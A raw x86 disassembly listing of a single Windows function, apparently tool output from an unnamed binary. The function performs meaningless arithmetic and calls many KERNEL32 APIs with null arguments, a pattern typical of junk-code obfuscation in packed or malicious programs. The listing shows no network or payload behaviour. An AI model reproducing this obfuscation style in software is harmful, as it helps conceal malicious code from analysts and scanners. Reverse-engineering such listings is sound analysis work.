movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov dword [ebp - 0x180], eax
call fcn.0043d960
sub ebx, eax
mov eax, dword [ebp - 0x180]
sbb eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x7ff47]
or edx, dword [ebp - 0x10c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 4]
add eax, 0x16e
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10c]
and ecx, dword [ebp - 0x10c]
mov edx, 0xa296
sub edx, dword [ebp - 0x10c]
sub edx, 0x1c29c
movzx eax, word [ebp - 0xac]
sub edx, eax
and ecx, edx
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 4], 0x10b8
jb 0x402d8c
jmp 0x402d9b
movzx ecx, word [ebp - 0xac]
cmp ecx, dword [ebp - 0x10c]
je 0x402d2f
mov edx, dword [ebp - 0x138]
xor edx, dword [ebp - 0xa4]
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], 0
jmp 0x402dc1
mov eax, dword [ebp - 4]
add eax, 0xba9
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xba9
jae 0x402ddf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
add eax, dword [ebp - 0x10c]
mov dword [ebp - 0x40], eax
jmp 0x402db6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, 0x713d4
sub esi, eax
movzx edi, byte [ebp - 0x81]
movzx ecx, word [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
xor eax, eax
push eax
push edx
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
movzx eax, byte [ebp - 4]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, byte [ebp - 4]
push edx
mov eax, dword [ebp - 4]
xor ecx, ecx
push ecx
push eax
call fcn.00405340
sub edi, eax
and esi, edi
and esi, 0x1141a
or esi, dword [ebp - 0x10c]
mov edx, 0xde35
sub edx, dword [ebp - 0x10c]
or esi, edx
mov dword [ebp - 4], esi
movzx eax, word [ebp - 0xac]
sub eax, 0x7b75
cdq
mov esi, eax
mov edi, edx
mov ebx, dword [ebp - 0x10c]
xor eax, eax
and ebx, dword [ebp - 0x70]
and eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10c]
xor edx, edx
and ebx, ecx
and eax, edx
push 0
push 0
push 0
push 0
mov dword [ebp - 0x184], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
add eax, 0x6af7e
push 0
push 0
mov dword [ebp - 0x188], eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov ecx, dword [ebp - 0x188]
sub ecx, eax
xor eax, eax
and ebx, ecx
mov ecx, dword [ebp - 0x184]
and ecx, eax
or esi, ebx
or edi, ecx
mov word [ebp - 0xac], si
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x14], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x88]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x70]
add eax, 0x156ea
mov ecx, dword [ebp - 0x6c]
adc ecx, 0
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x138]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x138], edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
add esi, eax
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
mov edx, dword [ebp - 4]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 4]
push ecx
call fcn.00404ff0
movzx edx, ax
add esi, edx
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
add ebx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
adc ecx, eax
sub ebx, 0x1520d
sbb ecx, 0
sub ebx, 0xd18f
sbb ecx, 0
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
mov edx, dword [ebp - 4]
push edx
mov dword [ebp - 0x18c], ecx
call fcn.00417b10
xor ecx, ecx
add ebx, eax
mov eax, dword [ebp - 0x18c]
adc eax, ecx
and esi, ebx
and edi, eax
mov edx, dword [ebp - 0x10c]
add edx, 0x5901
sub edx, dword [ebp - 0x10c]
mov ebx, edx
xor eax, eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
mov dword [ebp - 0x190], eax
call fcn.004057a0
add ebx, eax
mov eax, dword [ebp - 0x190]
adc eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 4], esi
movzx eax, byte [ebp - 0x81]
mov ecx, 0x3baa9
sub ecx, eax
movzx edx, word [ebp - 0xac]
sub ecx, edx
add ecx, 0x3166d
mov byte [ebp - 0x81], cl
cmp dword [ebp - 0x10c], 0x1bae8
jne 0x4030ad
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov esi, eax
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
add esi, eax
call fcn.004187f0
movzx eax, al
sub esi, eax
mov edi, dword [ebp - 0x10c]
sub edi, dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
mov ebx, 0x61b00
sub ebx, ecx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov edx, dword [ebp - 4]
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
call fcn.00407440
movzx ecx, ax
add ebx, ecx
and edi, ebx
movzx edx, word [ebp - 0xac]
add edx, 0xc330a
and edi, edx
or esi, edi
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
jmp 0x40312f
mov ecx, dword [ebp - 0x10c]
add ecx, 0x6c4e2
mov esi, ecx
xor edi, edi
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
mov ecx, dword [ebp - 4]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 4]
push eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
call fcn.00416300
movzx eax, al
add eax, 0x40004
cdq
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
or esi, eax
or edi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
sub ebx, eax
sub ebx, 0x56ee1
xor eax, eax
or esi, ebx
or edi, eax
call fcn.00403d30
or esi, eax
or edi, edx
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 0xf4]
xor ecx, dword [ebp - 0x138]
mov dword [ebp - 0xf4], ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov esi, eax
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x19326]
or esi, eax
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 0xf4]
xor ecx, dword [ebp - 0x138]
mov dword [ebp - 0xf4], ecx
movzx esi, word [ebp - 0xac]
add esi, 0xb72da
sub esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
sub esi, eax
mov edx, dword [ebp - 0x10c]
lea eax, [esi + edx + 0xa8830]
and eax, 0x4ec7d
mov dword [ebp - 4], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
add eax, dword [ebp - 0x10c]
xor edx, edx
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
sub eax, 0x195f9
sbb edx, 0
mov ecx, dword [ebp - 0x10c]
xor esi, esi
add eax, ecx
adc edx, esi
mov ecx, dword [ebp - 0x10c]
xor esi, esi
add eax, ecx
adc edx, esi
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x46324
call fcn.0043dfb0
mov ebx, eax
mov esi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov edx, 0x11f6a
sub edx, eax
sub edx, 0x21074
xor eax, eax
or ebx, edx
or esi, eax
mov byte [ebp - 0x81], bl
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0x10c]
mov eax, dword [edx + ecx*4]
sub eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0xbc]
mov dword [edx + ecx*4], eax
movzx esi, word [ebp - 0xac]
add esi, dword [ebp - 0x10c]
or esi, 0x15c87
or esi, dword [ebp - 0x10c]
mov eax, dword [ebp - 4]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 4]
push edx
movzx eax, word [ebp - 4]
push eax
call fcn.0043dd10
movzx ecx, ax
or esi, ecx
mov dword [ebp - 4], esi
jmp 0x40272b
movzx esi, byte [ebp - 0x81]
movzx edx, word [ebp - 0xac]
sub esi, edx
push 0
push 0
call sub.KERNEL32.dll_Module32Next
sub esi, eax
add esi, 0x397f6
mov edi, 0xabb8
sub edi, dword [ebp - 0x10c]
sub edi, dword [ebp - 0x10c]
movzx eax, byte [ebp - 4]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 4]
xor eax, eax
push eax
push edx
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
mov eax, dword [ebp - 4]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
call fcn.00405a50
movzx ebx, ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
add ebx, dword [ebp - 0x10c]
add eax, ebx
mov ecx, eax
shr edi, cl
and esi, edi
xor edx, edx
and esi, dword [ebp - 0x70]
and edx, dword [ebp - 0x6c]
mov dword [ebp - 4], esi
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
movzx esi, ax
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
or esi, eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
xor eax, eax
push eax
push edx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, word [ebp - 4]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
movzx eax, word [ebp - 4]
push eax
call fcn.00405fd0
movzx edi, ax
movzx ebx, byte [ebp - 0x81]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
add ebx, dword [ebp - 0x10c]
lea ecx, [eax + ebx + 0x8d40a]
and edi, ecx
and edi, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
sub edx, dword [ebp - 0x10c]
and edi, edx
or esi, edi
mov word [ebp - 0xac], si
mov eax, dword [ebp - 0xbc]
add eax, 0x52a5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret